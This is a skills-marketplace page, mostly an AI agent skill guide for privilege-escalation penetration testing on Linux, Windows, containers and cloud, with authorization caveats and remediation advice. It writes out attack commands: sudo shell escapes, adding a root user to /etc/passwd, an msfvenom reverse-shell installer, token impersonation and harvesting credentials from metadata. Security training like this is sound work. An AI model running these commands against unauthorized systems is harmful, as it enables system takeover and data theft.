[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M755RG3Y0MAC8ZC3DJ7WN80F":3,"skill-same:01M755RG3Y0MAC8ZC3DJ7WN80F":72},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":36,"commitSha":37,"skillDirectory":5,"forksCount":14,"repositoryHtmlUrl":38,"repositoryHomepageUrl":6,"ownerHtmlUrl":39,"ownerBlogUrl":40,"ownerDescription":6,"updatedAt":41,"install":42,"resources":55},"01M755RG3Y0MAC8ZC3DJ7WN80F","performing-privilege-escalation-assessment",null,"Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.","SamuelChien\u002Fmega-skills-collection","SamuelChien","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F4652114?v=4","01M74KK34WVHA0P5ZYSJRDDFMG","Samuel Chien","01M74KK35FQN1N9VZ9EPTH3P2S",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-privilege-escalation-assessment\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-privilege-escalation-assessment\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: performing-privilege-escalation-assessment\ndescription: >\n  Performs privilege escalation assessments on compromised Linux and Windows systems to identify\n  paths from low-privilege access to root or SYSTEM-level control. The tester enumerates\n  misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service\n  paths, and credential stores to demonstrate the full impact of an initial compromise.\n  Activates for requests involving privilege escalation testing, local exploitation, post-compromise\n  escalation, or OS-level security assessment.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags: [privilege-escalation, post-exploitation, Linux-privesc, Windows-privesc, local-exploitation]\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\n---\n# Performing Privilege Escalation Assessment\n\n## When to Use\n\n- After gaining initial low-privilege access during a penetration test to demonstrate full system compromise\n- Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks\n- Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques\n- Testing the effectiveness of least-privilege policies and application whitelisting on endpoints\n- Validating that container breakout and VM escape controls are properly configured\n\n**Do not use** without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.\n\n## Prerequisites\n\n- Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means\n- Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)\n- Compiled kernel exploits for common CVEs or access to compilation tools on the target\n- GTFOBins reference for Linux SUID\u002Fsudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries\n- Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target\n\n## Workflow\n\n### Step 1: System Enumeration\n\nGather comprehensive information about the target system:\n\n**Linux Enumeration:**\n- `id && whoami` - Current user and group memberships\n- `uname -a` - Kernel version for kernel exploit identification\n- `cat \u002Fetc\u002Fos-release` - Distribution and version\n- `sudo -l` - Commands the current user can run as root via sudo\n- `find \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull` - SUID binaries\n- `find \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull` - SGID binaries\n- `crontab -l && ls -la \u002Fetc\u002Fcron*` - Scheduled tasks running as root\n- `ps aux | grep root` - Processes running as root\n- `cat \u002Fetc\u002Fpasswd` - User accounts (look for additional users with UID 0)\n- `find \u002F -writable -type d 2>\u002Fdev\u002Fnull` - World-writable directories\n- Run `linpeas.sh` for automated comprehensive enumeration\n\n**Windows Enumeration:**\n- `whoami \u002Fpriv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)\n- `systeminfo` - OS version, hotfix level, architecture\n- `wmic service get name,pathname,startmode` - Unquoted service paths\n- `icacls \"C:\\Program Files\" \u002FT` - Writable directories in Program Files\n- `reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated` - AlwaysInstallElevated check\n- `cmdkey \u002Flist` - Stored Windows credentials\n- `schtasks \u002Fquery \u002Ffo LIST \u002Fv` - Scheduled tasks with their run-as accounts\n- Run `winPEAS.exe` for automated comprehensive enumeration\n\n### Step 2: Linux Privilege Escalation Vectors\n\nTest identified escalation vectors systematically:\n\n- **Sudo misconfigurations**: If `sudo -l` shows entries like `(ALL) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim`, use GTFOBins to escalate:\n  - `sudo vim -c ':!\u002Fbin\u002Fbash'` to spawn a root shell\n  - Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env\n- **SUID binary abuse**: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:\n  - Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)\n  - Known SUID: Check GTFOBins for exploitation of standard SUID binaries\n- **Cron job exploitation**: If a cron job runs a script writable by the current user, or runs a script from a writable directory:\n  - Modify the script to add a reverse shell or SUID copy of bash\n  - PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable\n- **Kernel exploits**: Match the kernel version to known exploits:\n  - DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11\n  - DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3\n  - PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions\n- **Capabilities abuse**: `getcap -r \u002F 2>\u002Fdev\u002Fnull` to find binaries with elevated capabilities (cap_setuid, cap_dac_override)\n- **Writable \u002Fetc\u002Fpasswd**: If \u002Fetc\u002Fpasswd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::\u002Froot:\u002Fbin\u002Fbash' >> \u002Fetc\u002Fpasswd`\n\n### Step 3: Windows Privilege Escalation Vectors\n\nTest Windows-specific escalation paths:\n\n- **Token impersonation**: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS):\n  - Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM\n  - `PrintSpoofer.exe -i -c \"cmd \u002Fc whoami\"` -> `NT AUTHORITY\\SYSTEM`\n- **Unquoted service paths**: If a service has an unquoted path with spaces (e.g., `C:\\Program Files\\My App\\service.exe`) and you can write to an intermediate directory:\n  - Place a malicious executable at `C:\\Program Files\\My.exe` which will execute when the service restarts\n- **Writable service binaries**: If you can modify the executable of a service running as SYSTEM:\n  - Replace the binary with a reverse shell and restart the service\n- **AlwaysInstallElevated**: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:\n  - Generate a malicious MSI: `msfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=\u003Cip> LPORT=\u003Cport> -f msi -o shell.msi`\n  - Install with elevated privileges: `msiexec \u002Fquiet \u002Fqn \u002Fi shell.msi`\n- **Stored credentials**: Check for credentials in `cmdkey \u002Flist`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history\n- **DLL hijacking**: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.\n- **Scheduled tasks**: Find tasks running as SYSTEM with writable scripts or binaries\n\n### Step 4: Container and Cloud Escalation\n\nTest for escalation paths in containerized and cloud environments:\n\n- **Docker breakout**: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`\u002Fvar\u002Frun\u002Fdocker.sock`), or has `SYS_ADMIN` capability\n- **Kubernetes pod escalation**: Check for service account tokens with cluster-admin rights, hostPID\u002FhostNetwork namespaces, or hostPath volume mounts\n- **Cloud metadata**: Access cloud instance metadata from compromised hosts (`http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`) to discover IAM roles, credentials, and instance information\n- **IAM role abuse**: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation\n\n### Step 5: Documentation and Impact Assessment\n\nDocument the complete escalation path and business impact:\n\n- Record every command executed during escalation with timestamps\n- Capture proof of elevated access (whoami showing root\u002FSYSTEM, accessing restricted files)\n- Document what data or systems become accessible at the elevated privilege level\n- Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)\n- Provide specific remediation for each identified escalation vector\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SUID Binary** | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |\n| **SeImpersonatePrivilege** | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |\n| **Kernel Exploit** | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root\u002FSYSTEM-level access |\n| **GTFOBins** | A curated list of Unix binaries that can be exploited for privilege escalation, file read\u002Fwrite, or shell escape when misconfigured |\n| **LOLBAS** | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |\n| **DLL Hijacking** | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |\n| **Token Impersonation** | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |\n\n## Tools & Systems\n\n- **linPEAS \u002F winPEAS**: Automated privilege escalation enumeration scripts that check hundreds of potential escalation vectors on Linux and Windows\n- **GTFOBins \u002F LOLBAS**: Reference databases of Unix binaries and Windows binaries that can be exploited for privilege escalation when misconfigured\n- **PrintSpoofer \u002F GodPotato**: Windows privilege escalation tools that exploit `SeImpersonatePrivilege` to achieve SYSTEM-level access from service accounts\n- **Linux Exploit Suggester**: Script that compares the target kernel version against a database of known kernel exploits to identify applicable exploits\n\n## Common Scenarios\n\n### Scenario: Privilege Escalation on a Linux Web Server\n\n**Context**: During a penetration test, the tester gained a low-privilege shell as `www-data` on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.\n\n**Approach**:\n1. Run `linpeas.sh` which identifies that `www-data` can run `\u002Fusr\u002Fbin\u002Ffind` as root via sudo without a password\n2. Verify with `sudo -l`: `(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind`\n3. Consult GTFOBins for the `find` sudo entry: `sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit`\n4. Execute the command and obtain a root shell\n5. As root, access `\u002Fetc\u002Fshadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII\n6. Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible\n\n**Pitfalls**:\n- Running kernel exploits without testing on a similar system first, risking a kernel panic and system crash\n- Not checking for container environments where apparent root access may be limited to the container namespace\n- Ignoring cloud metadata endpoints accessible from the compromised host that may yield IAM credentials\n- Failing to enumerate capabilities and SUID binaries after checking sudo, missing alternative escalation paths\n\n## Output Format\n\n```\n## Finding: Sudo Misconfiguration Allowing Root Escalation via find\n\n**ID**: PRIV-001\n**Severity**: Critical (CVSS 8.8)\n**Affected Host**: web-prod-01 (10.10.5.15)\n**OS**: Ubuntu 22.04 LTS\n**Initial Access**: www-data (via PHP file upload - WEB-004)\n**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching\n\n**Description**:\nThe www-data user is configured in \u002Fetc\u002Fsudoers to execute \u002Fusr\u002Fbin\u002Ffind as root\nwithout a password. The find command supports the -exec flag which can spawn a\nroot shell, effectively granting www-data unrestricted root access.\n\n**Proof of Concept**:\nwww-data@web-prod-01:~$ sudo -l\n(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\nwww-data@web-prod-01:~$ sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit\nroot@web-prod-01:~# id\nuid=0(root) gid=0(root) groups=0(root)\n\n**Impact**:\nFull root access on the production web server. From root, the tester accessed\ndatabase credentials in \u002Fvar\u002Fwww\u002Fapp\u002F.env, connected to MySQL, and confirmed\nread access to 75,000 customer records including names, emails, and addresses.\n\n**Remediation**:\n1. Remove the \u002Fusr\u002Fbin\u002Ffind sudo entry for www-data\n2. If find access is required, restrict it to specific directories with --no-exec\n3. Audit all sudo entries for binaries listed in GTFOBins\n4. Implement sudo logging with auditd for all privileged command execution\n```\n","# Performing Privilege Escalation Assessment\n\n## When to Use\n\n- After gaining initial low-privilege access during a penetration test to demonstrate full system compromise\n- Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks\n- Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques\n- Testing the effectiveness of least-privilege policies and application whitelisting on endpoints\n- Validating that container breakout and VM escape controls are properly configured\n\n**Do not use** without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.\n\n## Prerequisites\n\n- Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means\n- Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)\n- Compiled kernel exploits for common CVEs or access to compilation tools on the target\n- GTFOBins reference for Linux SUID\u002Fsudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries\n- Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target\n\n## Workflow\n\n### Step 1: System Enumeration\n\nGather comprehensive information about the target system:\n\n**Linux Enumeration:**\n- `id && whoami` - Current user and group memberships\n- `uname -a` - Kernel version for kernel exploit identification\n- `cat \u002Fetc\u002Fos-release` - Distribution and version\n- `sudo -l` - Commands the current user can run as root via sudo\n- `find \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull` - SUID binaries\n- `find \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull` - SGID binaries\n- `crontab -l && ls -la \u002Fetc\u002Fcron*` - Scheduled tasks running as root\n- `ps aux | grep root` - Processes running as root\n- `cat \u002Fetc\u002Fpasswd` - User accounts (look for additional users with UID 0)\n- `find \u002F -writable -type d 2>\u002Fdev\u002Fnull` - World-writable directories\n- Run `linpeas.sh` for automated comprehensive enumeration\n\n**Windows Enumeration:**\n- `whoami \u002Fpriv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)\n- `systeminfo` - OS version, hotfix level, architecture\n- `wmic service get name,pathname,startmode` - Unquoted service paths\n- `icacls \"C:\\Program Files\" \u002FT` - Writable directories in Program Files\n- `reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated` - AlwaysInstallElevated check\n- `cmdkey \u002Flist` - Stored Windows credentials\n- `schtasks \u002Fquery \u002Ffo LIST \u002Fv` - Scheduled tasks with their run-as accounts\n- Run `winPEAS.exe` for automated comprehensive enumeration\n\n### Step 2: Linux Privilege Escalation Vectors\n\nTest identified escalation vectors systematically:\n\n- **Sudo misconfigurations**: If `sudo -l` shows entries like `(ALL) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim`, use GTFOBins to escalate:\n  - `sudo vim -c ':!\u002Fbin\u002Fbash'` to spawn a root shell\n  - Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env\n- **SUID binary abuse**: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:\n  - Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)\n  - Known SUID: Check GTFOBins for exploitation of standard SUID binaries\n- **Cron job exploitation**: If a cron job runs a script writable by the current user, or runs a script from a writable directory:\n  - Modify the script to add a reverse shell or SUID copy of bash\n  - PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable\n- **Kernel exploits**: Match the kernel version to known exploits:\n  - DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11\n  - DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3\n  - PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions\n- **Capabilities abuse**: `getcap -r \u002F 2>\u002Fdev\u002Fnull` to find binaries with elevated capabilities (cap_setuid, cap_dac_override)\n- **Writable \u002Fetc\u002Fpasswd**: If \u002Fetc\u002Fpasswd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::\u002Froot:\u002Fbin\u002Fbash' >> \u002Fetc\u002Fpasswd`\n\n### Step 3: Windows Privilege Escalation Vectors\n\nTest Windows-specific escalation paths:\n\n- **Token impersonation**: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS):\n  - Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM\n  - `PrintSpoofer.exe -i -c \"cmd \u002Fc whoami\"` -> `NT AUTHORITY\\SYSTEM`\n- **Unquoted service paths**: If a service has an unquoted path with spaces (e.g., `C:\\Program Files\\My App\\service.exe`) and you can write to an intermediate directory:\n  - Place a malicious executable at `C:\\Program Files\\My.exe` which will execute when the service restarts\n- **Writable service binaries**: If you can modify the executable of a service running as SYSTEM:\n  - Replace the binary with a reverse shell and restart the service\n- **AlwaysInstallElevated**: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:\n  - Generate a malicious MSI: `msfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=\u003Cip> LPORT=\u003Cport> -f msi -o shell.msi`\n  - Install with elevated privileges: `msiexec \u002Fquiet \u002Fqn \u002Fi shell.msi`\n- **Stored credentials**: Check for credentials in `cmdkey \u002Flist`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history\n- **DLL hijacking**: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.\n- **Scheduled tasks**: Find tasks running as SYSTEM with writable scripts or binaries\n\n### Step 4: Container and Cloud Escalation\n\nTest for escalation paths in containerized and cloud environments:\n\n- **Docker breakout**: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`\u002Fvar\u002Frun\u002Fdocker.sock`), or has `SYS_ADMIN` capability\n- **Kubernetes pod escalation**: Check for service account tokens with cluster-admin rights, hostPID\u002FhostNetwork namespaces, or hostPath volume mounts\n- **Cloud metadata**: Access cloud instance metadata from compromised hosts (`http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`) to discover IAM roles, credentials, and instance information\n- **IAM role abuse**: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation\n\n### Step 5: Documentation and Impact Assessment\n\nDocument the complete escalation path and business impact:\n\n- Record every command executed during escalation with timestamps\n- Capture proof of elevated access (whoami showing root\u002FSYSTEM, accessing restricted files)\n- Document what data or systems become accessible at the elevated privilege level\n- Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)\n- Provide specific remediation for each identified escalation vector\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SUID Binary** | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |\n| **SeImpersonatePrivilege** | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |\n| **Kernel Exploit** | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root\u002FSYSTEM-level access |\n| **GTFOBins** | A curated list of Unix binaries that can be exploited for privilege escalation, file read\u002Fwrite, or shell escape when misconfigured |\n| **LOLBAS** | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |\n| **DLL Hijacking** | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |\n| **Token Impersonation** | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |\n\n## Tools & Systems\n\n- **linPEAS \u002F winPEAS**: Automated privilege escalation enumeration scripts that check hundreds of potential escalation vectors on Linux and Windows\n- **GTFOBins \u002F LOLBAS**: Reference databases of Unix binaries and Windows binaries that can be exploited for privilege escalation when misconfigured\n- **PrintSpoofer \u002F GodPotato**: Windows privilege escalation tools that exploit `SeImpersonatePrivilege` to achieve SYSTEM-level access from service accounts\n- **Linux Exploit Suggester**: Script that compares the target kernel version against a database of known kernel exploits to identify applicable exploits\n\n## Common Scenarios\n\n### Scenario: Privilege Escalation on a Linux Web Server\n\n**Context**: During a penetration test, the tester gained a low-privilege shell as `www-data` on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.\n\n**Approach**:\n1. Run `linpeas.sh` which identifies that `www-data` can run `\u002Fusr\u002Fbin\u002Ffind` as root via sudo without a password\n2. Verify with `sudo -l`: `(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind`\n3. Consult GTFOBins for the `find` sudo entry: `sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit`\n4. Execute the command and obtain a root shell\n5. As root, access `\u002Fetc\u002Fshadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII\n6. Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible\n\n**Pitfalls**:\n- Running kernel exploits without testing on a similar system first, risking a kernel panic and system crash\n- Not checking for container environments where apparent root access may be limited to the container namespace\n- Ignoring cloud metadata endpoints accessible from the compromised host that may yield IAM credentials\n- Failing to enumerate capabilities and SUID binaries after checking sudo, missing alternative escalation paths\n\n## Output Format\n\n```\n## Finding: Sudo Misconfiguration Allowing Root Escalation via find\n\n**ID**: PRIV-001\n**Severity**: Critical (CVSS 8.8)\n**Affected Host**: web-prod-01 (10.10.5.15)\n**OS**: Ubuntu 22.04 LTS\n**Initial Access**: www-data (via PHP file upload - WEB-004)\n**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching\n\n**Description**:\nThe www-data user is configured in \u002Fetc\u002Fsudoers to execute \u002Fusr\u002Fbin\u002Ffind as root\nwithout a password. The find command supports the -exec flag which can spawn a\nroot shell, effectively granting www-data unrestricted root access.\n\n**Proof of Concept**:\nwww-data@web-prod-01:~$ sudo -l\n(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\nwww-data@web-prod-01:~$ sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit\nroot@web-prod-01:~# id\nuid=0(root) gid=0(root) groups=0(root)\n\n**Impact**:\nFull root access on the production web server. From root, the tester accessed\ndatabase credentials in \u002Fvar\u002Fwww\u002Fapp\u002F.env, connected to MySQL, and confirmed\nread access to 75,000 customer records including names, emails, and addresses.\n\n**Remediation**:\n1. Remove the \u002Fusr\u002Fbin\u002Ffind sudo entry for www-data\n2. If find access is required, restrict it to specific directories with --no-exec\n3. Audit all sudo entries for binaries listed in GTFOBins\n4. Implement sudo logging with auditd for all privileged command execution\n```\n",{"name":5,"tags":25,"author":31,"domain":32,"license":15,"version":33,"subdomain":34,"description":35},[26,27,28,29,30],"privilege-escalation","post-exploitation","Linux-privesc","Windows-privesc","local-exploitation","mahipal","cybersecurity","1.0.0","penetration-testing","Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.\n","main","c2b1fdccc779e99ac814e55fb69ca8d71215dd0f","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection","https:\u002F\u002Fgithub.com\u002FSamuelChien","http:\u002F\u002Fsamuelchien.com\u002F","2026-05-26 08:27:14",{"source":8,"skillName":5,"commands":43,"prompt":53,"zipAvailable":54},[44,47,50],{"tool":45,"command":46},"npx","npx skills add SamuelChien\u002Fmega-skills-collection --skill performing-privilege-escalation-assessment",{"tool":48,"command":49},"bunx","bunx skills add SamuelChien\u002Fmega-skills-collection --skill performing-privilege-escalation-assessment",{"tool":51,"command":52},"pnpm","pnpm dlx skills add SamuelChien\u002Fmega-skills-collection --skill performing-privilege-escalation-assessment","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-privilege-escalation-assessment\u002FSKILL.md",true,[56,60,66],{"path":57,"resourceType":57,"resourceTypeDesc":58,"sizeBytes":59,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":61,"resourceType":62,"resourceTypeDesc":63,"sizeBytes":64,"sourceHtmlUrl":65},"references\u002Fapi-reference.md","REFERENCE","参考文档",1865,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-privilege-escalation-assessment\u002Freferences\u002Fapi-reference.md",{"path":67,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":71},"scripts\u002Fagent.py","SCRIPT","脚本",9763,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-privilege-escalation-assessment\u002Fscripts\u002Fagent.py",[73,81,88,95,102,109],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":78,"categories":79,"keywords":80,"publishedAt":20},"01M76R4WZQZAXGGXMQCA0FZ716","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reactive state patterns with Zustand.","MIT","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-ts\u002FSKILL.md",[],[],{"skillNo":82,"name":83,"nameZh":6,"description":84,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":87,"publishedAt":20},"01M76R4T9KENDH7FENGZQHBW4G","zustand-store-creator","Zustand Store Creator - Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":92,"categories":93,"keywords":94,"publishedAt":20},"01M76R3YWN84B7SANJ52X799ZE","zero-trust-config-helper","Zero Trust Config Helper - Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M76R3HNSV2AEYSKHM915GJ58","zapier-integration-helper","Zapier Integration Helper - Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":20},"01M76R3DJSKAT4FA7DV4BF3GCE","zai-cli","Execute z.AI CLI providing vision, search, reader, and GitHub exploration via CLI and MCP.\nUse when user needs image\u002Fvideo analysis, OCR, UI-to-code conversion, error diagnosis,\nreal-time web search, web page to markdown extraction, or GitHub code exploration.\nTrigger with phrases like \"analyze this image\", \"search the web for\", \"read this page\",\n\"explore this repo\", or \"use zai\". Requires Z_AI_API_KEY.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzai-cli\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":20},"01M76R2KAM699XE9AJVAWE4H2E","yt-research","Research competitor YouTube channels, niches, and trending topics for your content strategy.\nUse this skill whenever the user says \"research channels\", \"analyze competitors\", \"find trending topics\",\n\"niche analysis\", \"competitive research\", \"what are other creators doing\", \"scrape YouTube channels\",\nor wants to understand the competitive landscape for a specific tool or topic area. Use when working with yt research. Trigger with 